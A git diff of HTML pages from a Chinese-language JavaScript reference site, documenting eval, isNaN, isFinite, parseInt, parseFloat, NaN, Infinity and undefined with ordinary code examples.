                                                                                                                                // 解码 URI 组件
                                                                                                                                var decodedUri = decodeURIComponent(encodedUri);
                                                                                                                                document.writeln(decodedUri); // ftp://192.168.0.100/共享文件夹
                                                                                                                                +
                                                                                                                                // 解码 URI 组件
                                                                                                                                var decodedUri = decodeURIComponent(encodedUri);
                                                                                                                                document.writeln(decodedUri); // ftp://192.168.0.100/共享文件夹
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/eval/index.html b/standard-built-in-objects/the-global-object/function-properties/eval/index.html index aa2e6e223..03f779610 100644 --- a/standard-built-in-objects/the-global-object/function-properties/eval/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/eval/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + eval - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                eval

                                                                                                                                eval() 函数用于计算并执行以字符串表示的 JavaScript 代码。eval() 函数使 JavaScript 可以动态执行 JavaScript 源代码。

                                                                                                                                eval() 函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                eval(code);
                                                                                                                                参数类型说明
                                                                                                                                codeString 类型包含有效 JavaScript 代码的字符串

                                                                                                                                ⚠️ 注意: 参数code必须是原始字符串,不能是 String 对象形式。如果参数 code 不是原始字符串,则 eval() 函数不会执行代码,并且将其不作任何改变地返回。

                                                                                                                                如果参数 code 中的 JavaScript 代码不合法,将会引发异常。

                                                                                                                                eval() 函数的返回值是任意类型,其返回值由参数 code 中具体的 JavaScript 代码决定。

                                                                                                                                说明

                                                                                                                                • 传递给 eval() 函数的代码执行时所在的上下文和调用 eval() 函数时的上下文一样(也就是说,作用域不变)。
                                                                                                                                • 请自行确认 code 代码的来源是可信的,否则使用 eval() 函数存在一定的安全隐患。

                                                                                                                                示例

                                                                                                                                let x = 2,
                                                                                                                                y = 39,
                                                                                                                                z = '42';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                eval

                                                                                                                                eval() 函数用于计算并执行以字符串表示的 JavaScript 代码。eval() 函数使 JavaScript 可以动态执行 JavaScript 源代码。

                                                                                                                                eval() 函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                eval(code);
                                                                                                                                参数类型说明
                                                                                                                                codeString 类型包含有效 JavaScript 代码的字符串

                                                                                                                                ⚠️ 注意: 参数code必须是原始字符串,不能是 String 对象形式。如果参数 code 不是原始字符串,则 eval() 函数不会执行代码,并且将其不作任何改变地返回。

                                                                                                                                如果参数 code 中的 JavaScript 代码不合法,将会引发异常。

                                                                                                                                eval() 函数的返回值是任意类型,其返回值由参数 code 中具体的 JavaScript 代码决定。

                                                                                                                                说明

                                                                                                                                • 传递给 eval() 函数的代码执行时所在的上下文和调用 eval() 函数时的上下文一样(也就是说,作用域不变)。
                                                                                                                                • 请自行确认 code 代码的来源是可信的,否则使用 eval() 函数存在一定的安全隐患。

                                                                                                                                示例

                                                                                                                                let x = 2,
                                                                                                                                y = 39,
                                                                                                                                z = '42';
                                                                                                                                eval('x + y + 1');
                                                                                                                                // 42
                                                                                                                                -
                                                                                                                                eval(z);
                                                                                                                                // 42
                                                                                                                                +
                                                                                                                                eval(z);
                                                                                                                                // 42
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/index.html b/standard-built-in-objects/the-global-object/function-properties/index.html index cbf9d4206..0d6d0adc5 100644 --- a/standard-built-in-objects/the-global-object/function-properties/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/is-finite/index.html b/standard-built-in-objects/the-global-object/function-properties/is-finite/index.html index d22462089..552ae2a95 100644 --- a/standard-built-in-objects/the-global-object/function-properties/is-finite/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/is-finite/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + isFinite - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                isFinite

                                                                                                                                isFinite() 函数用于判断指定数字是否是有限值。如果指定的数字为 NaNInfinity-Infinity,则返回 false,其他数字均返回 true

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                isFinite(number);
                                                                                                                                参数类型说明
                                                                                                                                numberNumber 类型需要检测的值

                                                                                                                                如果参数number 不是 Number 类型(如字符串、函数等),也返回 false

                                                                                                                                isFinite() 函数的返回值是 Boolean 类型。

                                                                                                                                • 当指定的数字为 NaN、正无穷、负无穷时,返回 false
                                                                                                                                • 除上述三种 Number 类型外的数字均返回 true

                                                                                                                                示例

                                                                                                                                // false situation
                                                                                                                                isFinite(NaN);
                                                                                                                                // false
                                                                                                                                isFinite(Infinity);
                                                                                                                                // false
                                                                                                                                isFinite(-Infinity);
                                                                                                                                // alse
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                isFinite

                                                                                                                                isFinite() 函数用于判断指定数字是否是有限值。如果指定的数字为 NaNInfinity-Infinity,则返回 false,其他数字均返回 true

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                isFinite(number);
                                                                                                                                参数类型说明
                                                                                                                                numberNumber 类型需要检测的值

                                                                                                                                如果参数number 不是 Number 类型(如字符串、函数等),也返回 false

                                                                                                                                isFinite() 函数的返回值是 Boolean 类型。

                                                                                                                                • 当指定的数字为 NaN、正无穷、负无穷时,返回 false
                                                                                                                                • 除上述三种 Number 类型外的数字均返回 true

                                                                                                                                示例

                                                                                                                                // false situation
                                                                                                                                isFinite(NaN);
                                                                                                                                // false
                                                                                                                                isFinite(Infinity);
                                                                                                                                // false
                                                                                                                                isFinite(-Infinity);
                                                                                                                                // alse
                                                                                                                                // true situaton
                                                                                                                                isFinite(0);
                                                                                                                                // true
                                                                                                                                isFinite(2e64);
                                                                                                                                // true
                                                                                                                                isFinite('0');
                                                                                                                                // true
                                                                                                                                -
                                                                                                                                // extraordinary
                                                                                                                                Number.isFinite(null);
                                                                                                                                // false
                                                                                                                                Number.isFinite('0');
                                                                                                                                // false

                                                                                                                                和全局的 isFinite() 函数相比,Number.isFinite() 不会强制将一个非数值的参数转换成数值,这就意味着,只有数值类型的值,且是有限值,才返回 true

                                                                                                                                +
                                                                                                                                // extraordinary
                                                                                                                                Number.isFinite(null);
                                                                                                                                // false
                                                                                                                                Number.isFinite('0');
                                                                                                                                // false

                                                                                                                                和全局的 isFinite() 函数相比,Number.isFinite() 不会强制将一个非数值的参数转换成数值,这就意味着,只有数值类型的值,且是有限值,才返回 true

                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/is-na-n/index.html b/standard-built-in-objects/the-global-object/function-properties/is-na-n/index.html index ac48d69ed..08375b601 100644 --- a/standard-built-in-objects/the-global-object/function-properties/is-na-n/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/is-na-n/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + isNaN - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                isNaN

                                                                                                                                isNaN() 函数用于判断指定数字是否是非数字值 NaN

                                                                                                                                该函数属于Global对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                isNaN(number);
                                                                                                                                参数类型说明
                                                                                                                                numberNumber 类型指定的数值

                                                                                                                                ⚠️ 注意: 如果参数 number 不是 Number 类型,则 isNaN() 函数会将其强制转换为 Number 类型再进行判断。大多数其他类型的值无法强制转换为 Number 类型,则其转换结果为 NaN,即 isNaN() 函数返回 true

                                                                                                                                • isNaN() 函数的返回值是 Boolean 类型。
                                                                                                                                  • 如果指定的数字为 NaN,则返回 true
                                                                                                                                  • 如果指定的数字为非 NaN 则返回 false

                                                                                                                                说明

                                                                                                                                • 通常使用此函数检测来自 parseInt()parseFloat() 函数的返回值。
                                                                                                                                • 将某些不能强制转换为数字类型的值的非数字类型的值转换为数字类型的值时,也会得到 NaN
                                                                                                                                • NaN 不能通过相等操作符来判断,因为 NaN 是唯一一个与其自身不等的值。

                                                                                                                                示例

                                                                                                                                isNaN(NaN);
                                                                                                                                // true
                                                                                                                                isNaN(undefined);
                                                                                                                                // true
                                                                                                                                isNaN({});
                                                                                                                                // true
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                isNaN

                                                                                                                                isNaN() 函数用于判断指定数字是否是非数字值 NaN

                                                                                                                                该函数属于Global对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                isNaN(number);
                                                                                                                                参数类型说明
                                                                                                                                numberNumber 类型指定的数值

                                                                                                                                ⚠️ 注意: 如果参数 number 不是 Number 类型,则 isNaN() 函数会将其强制转换为 Number 类型再进行判断。大多数其他类型的值无法强制转换为 Number 类型,则其转换结果为 NaN,即 isNaN() 函数返回 true

                                                                                                                                • isNaN() 函数的返回值是 Boolean 类型。
                                                                                                                                  • 如果指定的数字为 NaN,则返回 true
                                                                                                                                  • 如果指定的数字为非 NaN 则返回 false

                                                                                                                                说明

                                                                                                                                • 通常使用此函数检测来自 parseInt()parseFloat() 函数的返回值。
                                                                                                                                • 将某些不能强制转换为数字类型的值的非数字类型的值转换为数字类型的值时,也会得到 NaN
                                                                                                                                • NaN 不能通过相等操作符来判断,因为 NaN 是唯一一个与其自身不等的值。

                                                                                                                                示例

                                                                                                                                isNaN(NaN);
                                                                                                                                // true
                                                                                                                                isNaN(undefined);
                                                                                                                                // true
                                                                                                                                isNaN({});
                                                                                                                                // true
                                                                                                                                isNaN(true);
                                                                                                                                // false
                                                                                                                                isNaN(null);
                                                                                                                                // false
                                                                                                                                isNaN(37);
                                                                                                                                // false
                                                                                                                                // strings
                                                                                                                                isNaN('37');
                                                                                                                                // false: 可以被转换成数值37
                                                                                                                                isNaN('37.37');
                                                                                                                                // false: 可以被转换成数值37.37
                                                                                                                                isNaN('');
                                                                                                                                // false: 空字符串被转换成0
                                                                                                                                isNaN(' ');
                                                                                                                                // false: 包含空格的字符串被转换成0
                                                                                                                                // dates
                                                                                                                                isNaN(new Date());
                                                                                                                                // false
                                                                                                                                isNaN(new Date().toString());
                                                                                                                                // true
                                                                                                                                -
                                                                                                                                isNaN('blabla');
                                                                                                                                // true: "blabla"不能转换成数值
                                                                                                                                +
                                                                                                                                isNaN('blabla');
                                                                                                                                // true: "blabla"不能转换成数值
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/parse-float/index.html b/standard-built-in-objects/the-global-object/function-properties/parse-float/index.html index 245d77cde..394220c9f 100644 --- a/standard-built-in-objects/the-global-object/function-properties/parse-float/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/parse-float/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + parseFloat - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                parseFloat

                                                                                                                                parseFloat()函数用于将字符串转换为浮点数并返回

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                parseFloat(numberString);
                                                                                                                                参数类型说明
                                                                                                                                numberStringString 类型需要转换为浮点数的字符串。
                                                                                                                                • 返回转换后的浮点数,number 类型,
                                                                                                                                  • 如果指定的字符串中包含非数字字符,只要字符串开头的一部分符合浮点数规则,则 parseFloat() 函数会将这一部分字符串转化为数字(从字符串开头,直到遇到非数字字符为止)。
                                                                                                                                  • 如果字符串以非数字字符开头,则返回 NaN

                                                                                                                                示例

                                                                                                                                • 返回正常数字
                                                                                                                                parseFloat('3.14');
                                                                                                                                parseFloat('314e-2');
                                                                                                                                parseFloat('0.0314E+2');
                                                                                                                                parseFloat('3.14more non-digit characters');
                                                                                                                                -
                                                                                                                                // all return 3.14
                                                                                                                                • 返回 NaN
                                                                                                                                parseFloat('MDN');
                                                                                                                                // NaN
                                                                                                                                parseFloat(null);
                                                                                                                                // NaN
                                                                                                                                parseFloat([]);
                                                                                                                                // NaN
                                                                                                                                parseFloat({});
                                                                                                                                // NaN
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                parseFloat

                                                                                                                                parseFloat()函数用于将字符串转换为浮点数并返回

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                parseFloat(numberString);
                                                                                                                                参数类型说明
                                                                                                                                numberStringString 类型需要转换为浮点数的字符串。
                                                                                                                                • 返回转换后的浮点数,number 类型,
                                                                                                                                  • 如果指定的字符串中包含非数字字符,只要字符串开头的一部分符合浮点数规则,则 parseFloat() 函数会将这一部分字符串转化为数字(从字符串开头,直到遇到非数字字符为止)。
                                                                                                                                  • 如果字符串以非数字字符开头,则返回 NaN

                                                                                                                                示例

                                                                                                                                • 返回正常数字
                                                                                                                                parseFloat('3.14');
                                                                                                                                parseFloat('314e-2');
                                                                                                                                parseFloat('0.0314E+2');
                                                                                                                                parseFloat('3.14more non-digit characters');
                                                                                                                                +
                                                                                                                                // all return 3.14
                                                                                                                                • 返回 NaN
                                                                                                                                parseFloat('MDN');
                                                                                                                                // NaN
                                                                                                                                parseFloat(null);
                                                                                                                                // NaN
                                                                                                                                parseFloat([]);
                                                                                                                                // NaN
                                                                                                                                parseFloat({});
                                                                                                                                // NaN
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/function-properties/parse-int/index.html b/standard-built-in-objects/the-global-object/function-properties/parse-int/index.html index a764819b4..187bd4972 100644 --- a/standard-built-in-objects/the-global-object/function-properties/parse-int/index.html +++ b/standard-built-in-objects/the-global-object/function-properties/parse-int/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + parseInt - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                parseInt

                                                                                                                                parseInt() 函数用于 将字符串转换为整数并返回。该函数可以将字符串视作指定的进制形式表示。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                parseInt( numString [, radix ] )

                                                                                                                                参数类型说明
                                                                                                                                numStringString 类型需要转换为整数的字符串
                                                                                                                                radixNumber 类型可选,指定的进制基数(介于 [2, 36] 之间的数值。)

                                                                                                                                例如:参数 radix 为 2,则将 numString 视作二进制;参数 radix 为 8,则视作八进制;参数 radix 为 16,则视作十六进制。

                                                                                                                                如果没有提供 radix 参数,则 parseInt() 函数将会根据参数 numString 的前缀来决定转换的进制基数。如果 numString 的前缀是 0x,则转换为十六进制;如果前缀是 0,则转换为八进制;其他情况均转换为十进制。

                                                                                                                                • parseInt() 函数的返回值为 Number 类型,返回转换后的整数
                                                                                                                                  • 如果指定的字符串中包含非数字字符,只要字符串开头的一部分符合整数的转换规则,则 parseInt() 函数会将这一部分字符串转化为整数(从字符串开头,直到遇到非数字字符为止)。
                                                                                                                                  • 如果字符串以非数字字符开头,则返回 NaN

                                                                                                                                示例

                                                                                                                                • 正常使用 parseInt(),以下均返回 15
                                                                                                                                // Binary
                                                                                                                                parseInt('1111', 2);
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                parseInt

                                                                                                                                parseInt() 函数用于 将字符串转换为整数并返回。该函数可以将字符串视作指定的进制形式表示。

                                                                                                                                该函数属于 Global 对象,所有主流浏览器均支持该函数。

                                                                                                                                语法

                                                                                                                                parseInt( numString [, radix ] )

                                                                                                                                参数类型说明
                                                                                                                                numStringString 类型需要转换为整数的字符串
                                                                                                                                radixNumber 类型可选,指定的进制基数(介于 [2, 36] 之间的数值。)

                                                                                                                                例如:参数 radix 为 2,则将 numString 视作二进制;参数 radix 为 8,则视作八进制;参数 radix 为 16,则视作十六进制。

                                                                                                                                如果没有提供 radix 参数,则 parseInt() 函数将会根据参数 numString 的前缀来决定转换的进制基数。如果 numString 的前缀是 0x,则转换为十六进制;如果前缀是 0,则转换为八进制;其他情况均转换为十进制。

                                                                                                                                • parseInt() 函数的返回值为 Number 类型,返回转换后的整数
                                                                                                                                  • 如果指定的字符串中包含非数字字符,只要字符串开头的一部分符合整数的转换规则,则 parseInt() 函数会将这一部分字符串转化为整数(从字符串开头,直到遇到非数字字符为止)。
                                                                                                                                  • 如果字符串以非数字字符开头,则返回 NaN

                                                                                                                                示例

                                                                                                                                • 正常使用 parseInt(),以下均返回 15
                                                                                                                                // Binary
                                                                                                                                parseInt('1111', 2);
                                                                                                                                // Octal
                                                                                                                                parseInt('17', 8);
                                                                                                                                parseInt(021, 8);
                                                                                                                                // Decimal
                                                                                                                                parseInt('015', 10);
                                                                                                                                parseInt(15.99, 10);
                                                                                                                                parseInt('15,123', 10);
                                                                                                                                parseInt('15 * 3', 10);
                                                                                                                                parseInt('15e2', 10);
                                                                                                                                parseInt('15px', 10);
                                                                                                                                parseInt('12', 13);
                                                                                                                                // Hexadecimal
                                                                                                                                parseInt('0xF', 16);
                                                                                                                                parseInt('F', 16);
                                                                                                                                parseInt('FXX123', 16);
                                                                                                                                • 以下均返回 NaN
                                                                                                                                parseInt('Hello', 8);
                                                                                                                                // not a number
                                                                                                                                -
                                                                                                                                parseInt('546', 2);
                                                                                                                                // except 0 & 1,other number are not valid binary numbers
                                                                                                                                +
                                                                                                                                parseInt('546', 2);
                                                                                                                                // except 0 & 1,other number are not valid binary numbers
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/value-properties/index.html b/standard-built-in-objects/the-global-object/value-properties/index.html index 778a7bdf3..617ee389d 100644 --- a/standard-built-in-objects/the-global-object/value-properties/index.html +++ b/standard-built-in-objects/the-global-object/value-properties/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/value-properties/infinity/index.html b/standard-built-in-objects/the-global-object/value-properties/infinity/index.html index 24367bf9e..6ef22a565 100644 --- a/standard-built-in-objects/the-global-object/value-properties/infinity/index.html +++ b/standard-built-in-objects/the-global-object/value-properties/infinity/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Infinity - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                Infinity

                                                                                                                                全局属性 Infinity 是一个数值,表示无穷大。

                                                                                                                                Infinity 属性的属性特性

                                                                                                                                属性特性布尔值
                                                                                                                                writablefalse
                                                                                                                                enumerablefalse
                                                                                                                                configurablefalse

                                                                                                                                说明

                                                                                                                                • Infinity 是全局对象的一个属性,即它是一个全局变量。
                                                                                                                                • Infinity 的初始值是 Number.POSITIVE_INFINITY

                                                                                                                                Infinity 大于任何值。该值和数学意义上的无穷大很像,例如任何正值乘以 InfinityInfinity ,任何数值(除了 Infinity-Infinity )除以 Infinity 为 0。

                                                                                                                                示例

                                                                                                                                🌰 代码示例

                                                                                                                                console.log(Infinity);
                                                                                                                                // Infinity
                                                                                                                                console.log(Infinity + 1);
                                                                                                                                // Infinity
                                                                                                                                console.log(Math.pow(10, 1000));
                                                                                                                                // Infinity
                                                                                                                                console.log(Math.log(0));
                                                                                                                                // Infinity
                                                                                                                                console.log(1 / Infinity);
                                                                                                                                // 0
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                Infinity

                                                                                                                                全局属性 Infinity 是一个数值,表示无穷大。

                                                                                                                                Infinity 属性的属性特性

                                                                                                                                属性特性布尔值
                                                                                                                                writablefalse
                                                                                                                                enumerablefalse
                                                                                                                                configurablefalse

                                                                                                                                说明

                                                                                                                                • Infinity 是全局对象的一个属性,即它是一个全局变量。
                                                                                                                                • Infinity 的初始值是 Number.POSITIVE_INFINITY

                                                                                                                                Infinity 大于任何值。该值和数学意义上的无穷大很像,例如任何正值乘以 InfinityInfinity ,任何数值(除了 Infinity-Infinity )除以 Infinity 为 0。

                                                                                                                                示例

                                                                                                                                🌰 代码示例

                                                                                                                                console.log(Infinity);
                                                                                                                                // Infinity
                                                                                                                                console.log(Infinity + 1);
                                                                                                                                // Infinity
                                                                                                                                console.log(Math.pow(10, 1000));
                                                                                                                                // Infinity
                                                                                                                                console.log(Math.log(0));
                                                                                                                                // Infinity
                                                                                                                                console.log(1 / Infinity);
                                                                                                                                // 0
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/value-properties/na-n/index.html b/standard-built-in-objects/the-global-object/value-properties/na-n/index.html index ad4a4e10f..1a0fd3c70 100644 --- a/standard-built-in-objects/the-global-object/value-properties/na-n/index.html +++ b/standard-built-in-objects/the-global-object/value-properties/na-n/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + NaN - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                NaN

                                                                                                                                全局属性 NaN 的值表示不是一个数字(Not-A-Number)。

                                                                                                                                属性特性布尔值
                                                                                                                                writablefalse
                                                                                                                                enumerablefalse
                                                                                                                                configurablefalse

                                                                                                                                说明

                                                                                                                                • NaN 是一个全局对象的属性。
                                                                                                                                • NaN 属性的初始值就是 NaN,和 Number.NaN 的值一样。
                                                                                                                                • 编码中很少直接使用到 NaN。通常都是在计算失败时,作为 Math 的某个方法的返回值出现的(例如:Math.sqrt(-1))或者尝试将一个字符串解析成数字但失败了的时候(例如:parseInt('blabla'))。

                                                                                                                                返回 NaN 的情况总结:

                                                                                                                                • 无穷大除以无穷大
                                                                                                                                • 给任意负数做开放运算
                                                                                                                                • 算术运算符与不是数字或无法转换为数字的操作数一起使用
                                                                                                                                • 字符串解析为数字

                                                                                                                                示例

                                                                                                                                值校验

                                                                                                                                不可使用等号运算符来判断一个值是否为 NaN。必须采用 Number.isNaN()isNaN()函数进行判断。

                                                                                                                                在执行自比较中,NaN 是唯一与自身不全等的值。

                                                                                                                                NaN === NaN;
                                                                                                                                // false
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                NaN

                                                                                                                                全局属性 NaN 的值表示不是一个数字(Not-A-Number)。

                                                                                                                                属性特性布尔值
                                                                                                                                writablefalse
                                                                                                                                enumerablefalse
                                                                                                                                configurablefalse

                                                                                                                                说明

                                                                                                                                • NaN 是一个全局对象的属性。
                                                                                                                                • NaN 属性的初始值就是 NaN,和 Number.NaN 的值一样。
                                                                                                                                • 编码中很少直接使用到 NaN。通常都是在计算失败时,作为 Math 的某个方法的返回值出现的(例如:Math.sqrt(-1))或者尝试将一个字符串解析成数字但失败了的时候(例如:parseInt('blabla'))。

                                                                                                                                返回 NaN 的情况总结:

                                                                                                                                • 无穷大除以无穷大
                                                                                                                                • 给任意负数做开放运算
                                                                                                                                • 算术运算符与不是数字或无法转换为数字的操作数一起使用
                                                                                                                                • 字符串解析为数字

                                                                                                                                示例

                                                                                                                                值校验

                                                                                                                                不可使用等号运算符来判断一个值是否为 NaN。必须采用 Number.isNaN()isNaN()函数进行判断。

                                                                                                                                在执行自比较中,NaN 是唯一与自身不全等的值。

                                                                                                                                NaN === NaN;
                                                                                                                                // false
                                                                                                                                Number.NaN === NaN;
                                                                                                                                // false
                                                                                                                                isNaN(NaN);
                                                                                                                                // true;
                                                                                                                                -
                                                                                                                                isNaN(Number.NaN);
                                                                                                                                // true;
                                                                                                                                function valueIsNaN(v) {
                                                                                                                                return v !== v;
                                                                                                                                }
                                                                                                                                valueIsNaN(1);
                                                                                                                                // false
                                                                                                                                valueIsNaN(NaN);
                                                                                                                                // true
                                                                                                                                valueIsNaN(Number.NaN);
                                                                                                                                // true

                                                                                                                                使用 isNaN() 前先检查一下这个值是否是数字类型,即可避免隐式类型转换的问题。

                                                                                                                                function detectIsNaN(value) {
                                                                                                                                return typeof value === 'number' && isNaN(value);
                                                                                                                                }
                                                                                                                                +
                                                                                                                                isNaN(Number.NaN);
                                                                                                                                // true;
                                                                                                                                function valueIsNaN(v) {
                                                                                                                                return v !== v;
                                                                                                                                }
                                                                                                                                valueIsNaN(1);
                                                                                                                                // false
                                                                                                                                valueIsNaN(NaN);
                                                                                                                                // true
                                                                                                                                valueIsNaN(Number.NaN);
                                                                                                                                // true

                                                                                                                                使用 isNaN() 前先检查一下这个值是否是数字类型,即可避免隐式类型转换的问题。

                                                                                                                                function detectIsNaN(value) {
                                                                                                                                return typeof value === 'number' && isNaN(value);
                                                                                                                                }
                                                                                                                                - + diff --git a/standard-built-in-objects/the-global-object/value-properties/undefined/index.html b/standard-built-in-objects/the-global-object/value-properties/undefined/index.html index 1fa603e54..5fe6116c8 100644 --- a/standard-built-in-objects/the-global-object/value-properties/undefined/index.html +++ b/standard-built-in-objects/the-global-object/value-properties/undefined/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + undefined - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                undefined

                                                                                                                                undefined 属性是一个特殊值。如果已声明了一个变量但还未进行初始化,则其值为 undefined

                                                                                                                                该属性为 Global 对象的一个只读属性(准确地说,是一个常量)。所有主流浏览器均支持该属性。

                                                                                                                                说明

                                                                                                                                如果一个变量未被初始化赋值,则其值为 undefined。如果一个函数没有返回值,则其返回值默认为 undefined

                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                undefined

                                                                                                                                undefined 属性是一个特殊值。如果已声明了一个变量但还未进行初始化,则其值为 undefined

                                                                                                                                该属性为 Global 对象的一个只读属性(准确地说,是一个常量)。所有主流浏览器均支持该属性。

                                                                                                                                说明

                                                                                                                                如果一个变量未被初始化赋值,则其值为 undefined。如果一个函数没有返回值,则其返回值默认为 undefined

